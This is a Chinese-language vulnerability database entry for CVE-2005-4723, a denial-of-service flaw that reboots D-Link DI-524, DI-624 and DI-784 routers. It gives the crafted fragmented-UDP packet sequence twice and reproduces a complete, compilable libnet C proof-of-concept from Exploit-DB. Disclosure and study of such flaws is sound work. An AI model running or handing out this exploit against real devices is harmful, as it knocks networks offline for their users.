CVE-2005-4723
CVSS5.0
发布时间 :2005-12-31 00:00:00
修订时间 :2011-03-07 21:28:53
NMCOE    

[原文]D-Link DI-524 Wireless Router, DI-624 Wireless Router, and DI-784 allow remote attackers to cause a denial of service (device reboot) via a series of crafted fragmented UDP packets, possibly involving a missing fragment.


[CNNVD]多个D-Link产品IP报文重组拒绝服务漏洞(CNNVD-200512-848)

        D-Link是国际著名网络设备和解决方案提供商,产品包括多种路由器设备。
        D-Link的多个无线接入路由器存在拒绝服务漏洞,远程攻击者可能利用此漏洞对设备进行拒绝服务攻击。
        如果攻击者发送3个连续的如下碎片UDP报文的话就会导致设备重启:
        所有报文的IP首部中必须有相同的Identification Number。
        报文1:
        必须将MORE_FRAGMENTS标记位设置为1(IP_MF)
        碎片偏移=0
        报文的有效部分大小为8个字节。攻击代码中使用了空字节。
        报文2:
        将MORE_FRAGMENTS标记设置为1(0x2002)
        碎片偏移=16
        有效部分8个字节长。
        报文3:
        将MORE_FRAGMENTS标记设置为0(0x0003)
        碎片偏移=24
        有效部分8个字节长。
        收到上述报文后受影响路由器会立即终止所有的当前连接。DI-524需要大约1分钟可以重启恢复连接,DI-624需要大约30秒可以重启。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/h:d-link:di-524:3.20
cpe:/h:d-link:di-624
cpe:/h:d-link:di-784
cpe:/h:d-link:di-524

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4723
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4723
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-848
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0563
(UNKNOWN)  VUPEN  ADV-2006-0563
http://www.thunkers.net/~deft/advisories/dlink_udp_dos.txt
(VENDOR_ADVISORY)  MISC  http://www.thunkers.net/~deft/advisories/dlink_udp_dos.txt
http://www.securityfocus.com/bid/16621
(VENDOR_ADVISORY)  BID  16621
http://secunia.com/advisories/18833
(VENDOR_ADVISORY)  SECUNIA  18833
http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0188.html
(VENDOR_ADVISORY)  FULLDISC  20060210 [thunkers.net] D-Link Fragmented UDP DoS Vulnerability
http://xforce.iss.net/xforce/xfdb/24631
(UNKNOWN)  XF  dlink-udp-fragment-dos(24631)

- 漏洞信息

多个D-Link产品IP报文重组拒绝服务漏洞
中危 设计错误
2005-12-31 00:00:00 2006-03-01 00:00:00
远程  
        D-Link是国际著名网络设备和解决方案提供商,产品包括多种路由器设备。
        D-Link的多个无线接入路由器存在拒绝服务漏洞,远程攻击者可能利用此漏洞对设备进行拒绝服务攻击。
        如果攻击者发送3个连续的如下碎片UDP报文的话就会导致设备重启:
        所有报文的IP首部中必须有相同的Identification Number。
        报文1:
        必须将MORE_FRAGMENTS标记位设置为1(IP_MF)
        碎片偏移=0
        报文的有效部分大小为8个字节。攻击代码中使用了空字节。
        报文2:
        将MORE_FRAGMENTS标记设置为1(0x2002)
        碎片偏移=16
        有效部分8个字节长。
        报文3:
        将MORE_FRAGMENTS标记设置为0(0x0003)
        碎片偏移=24
        有效部分8个字节长。
        收到上述报文后受影响路由器会立即终止所有的当前连接。DI-524需要大约1分钟可以重启恢复连接,DI-624需要大约30秒可以重启。

- 公告与补丁

        

- 漏洞信息 (1496)

D-Link Wireless Access Point (Fragmented UDP) DoS Exploit (EDBID:1496)
hardware dos
2006-02-14 Verified
0 Aaron Portnoy
N/A [点击下载]
/*
 *  
 * Aaron Portnoy
 *  
 * silc.thunkers.net, thunkers
 *  
 * D-Link Wireless Access Point
 * Fragmented UDP DoS Proof of Concept 
 *  
 *
 * gcc -o dlink_dos dlink_dos.c -lnet -Wall 
 *    
 */     
    
#include <libnet.h>
    
#define DEVICE "eth0"
#define SRC_IP "127.0.0.1"
#define DST_IP "127.0.0.1"
#define SRC_PRT 200
#define DST_PRT 11111
    
void usage (char *name)
{   
    fprintf (stderr,
             "Usage: %s -s <source ip> -d <destination ip>\ 
			-a <source port> -b <destination port> \n",
             name);
        
    exit (EXIT_FAILURE);
}
    
int gen_packet (char *device, char *pSRC, char *pDST, u_short sPRT,
                u_short dPRT, int count)
{                           

    libnet_t *l = NULL;
    libnet_ptag_t udp = 0;
    libnet_ptag_t ip = 0;
    
    char errbuf[LIBNET_ERRBUF_SIZE];
    char *payload = NULL;
    u_short payload_s = 0, src_prt, dst_prt;
    u_long src_ip, dst_ip;
    int c, frag;
        
    if (!device)
        device = DEVICE;
        
    l = libnet_init (LIBNET_RAW4, device, errbuf);

    if (!l) {
        fprintf (stderr, "libnet_init() failed: %s\n", errbuf);
        exit (EXIT_FAILURE);
    }
	
    src_ip = pSRC ? libnet_name2addr4 (l, pSRC, LIBNET_RESOLVE) :
        libnet_name2addr4 (l, SRC_IP, LIBNET_RESOLVE);

    dst_ip = pDST ? libnet_name2addr4 (l, pDST, LIBNET_RESOLVE) :
        libnet_name2addr4 (l, DST_IP, LIBNET_RESOLVE);

    src_prt = sPRT ? sPRT : SRC_PRT;

    dst_prt = dPRT ? dPRT : DST_PRT;

    if (count == 1) {
        payload = "\0\0\0\0\0\0\0\0";
        payload_s = 8;
    }

    udp = libnet_build_udp (src_prt,
                            dst_prt,
                            (LIBNET_UDP_H + payload_s) * 2,
                            0, (unsigned char *)payload, payload_s, l, udp);

    if (udp == -1) {
        fprintf (stderr, "Can't build UDP header: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    switch (count) {

    case 1:
        frag = IP_MF;
        break;

    case 2:
        frag = 0x2002;
        break;

    case 3:
        frag = 0x0003;
        break;
    }

    ip = libnet_build_ipv4 (20,
                            0,
                            1800,
                            frag,
                            128,
                            IPPROTO_UDP, 0, src_ip, dst_ip, NULL, 0, l, ip);

    if (ip == -1) {
        fprintf (stderr, "Can't build IP header: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    c = libnet_write (l);

    if (c == -1) {
        fprintf (stderr, "Write error: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    printf ("Wrote UDP packet; check the wire.\n");

    libnet_destroy (l);

    return (EXIT_SUCCESS);

}

int main (int argc, char **argv)
{

    int i;
    char *pDST, *pSRC, *device;
    u_short dPRT = 0;
    u_short sPRT = 0;

    pDST = pSRC = device = NULL;

    while ((i = getopt (argc, argv, "D:d:s:a:b:h")) != EOF) {
        switch (i) {
        case 'D':
            device = optarg;
            break;
        case 'd':
            pDST = optarg;
            break;
        case 's':
            pSRC = optarg;
            break;
        case 'a':
            sPRT = atoi (optarg);
            break;
        case 'b':
            dPRT = atoi (optarg);
            break;
        case 'h':
            usage (argv[0]);
            break;
        }
    }

    printf ("\n----------------------------------\n");
    printf ("      -=    D-Link DoS PoC     =-\n");
    printf ("          Aaron Portnoy\n");
    printf ("       deft () thunkers ! net     \n");
    printf ("   silc.thunkers.net, thunkers\n");
    printf ("----------------------------------\n");


    device ? printf ("\nDevice: \t%s\n", device) :
        printf ("\nDevice: \t%s\n", DEVICE);

    pSRC ? printf ("SRC IP: \t%s\n", pSRC) :
        printf ("SRC IP: \t%s\n", SRC_IP);

    pDST ? printf ("DST IP: \t%s\n", pDST) :
        printf ("DST IP: \t%s\n", DST_IP);

    sPRT ? printf ("SPort: \t\t%d\n", sPRT) :
        printf ("SPort: \t\t%d\n", SRC_PRT);

    dPRT ? printf ("DPort: \t\t%d\n\n", dPRT) :
        printf ("DPort: \t\t%d\n\n", DST_PRT);

    for (i = 1; i <= 3; i++)
        gen_packet (device, pSRC, pDST, sPRT, dPRT, i);
    printf ("\n");

    return (EXIT_SUCCESS);
}

// milw0rm.com [2006-02-14]
		

- 漏洞信息

23128
D-Link Multiple Router Fragmented UDP Packet DoS
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-02-10 Unknow
2006-02-10 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站